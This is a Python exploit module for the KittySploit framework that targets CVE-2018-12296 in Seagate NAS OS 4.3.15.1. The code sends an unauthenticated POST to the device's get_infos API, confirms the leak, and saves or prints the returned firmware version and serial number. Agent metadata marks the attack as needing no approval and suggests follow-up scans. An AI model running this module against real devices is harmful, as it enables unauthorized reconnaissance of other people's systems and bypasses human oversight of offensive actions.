Seagate NAS OS Info Disclosure (CVE-2018-12296)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Seagate NAS OS get_infos disclosure (CVE-2018-12296)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Seagate NAS OS Info Disclosure (CVE-2018-12296)',
        'description': (
            'Exploits CVE-2018-12296 in Seagate NAS OS 4.3.15.1: unauthenticated POST to '
            'system.System.get_infos returns firmware version and serial number.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-12296'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-12296'],
        'tags': ['seagate', 'nas', 'info-leak', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_12296_detect']},
        },
    }

    api_path = OptString(
        '/api/external/7.0/system.System.get_infos',
        'NAS API endpoint',
        required=False,
        advanced=True,
    )
    output_file = OptString('', 'Save JSON locally', required=False)

    def check(self):
        path = str(self.api_path or '').strip()
        r = self.http_request(method='POST', path=path, data='', allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('"version":', '"serial_number":')):
            return {'vulnerable': True, 'reason': 'Seagate NAS info leak confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'get_infos failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Seagate NAS not vulnerable')
            return False
        path = str(self.api_path or '').strip()
        r = self.http_request(method='POST', path=path, data='', allow_redirects=False)
        body = (r.text or '') if r else ''
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Saved to {out}')
        else:
            print_success(body[:4000])
        return True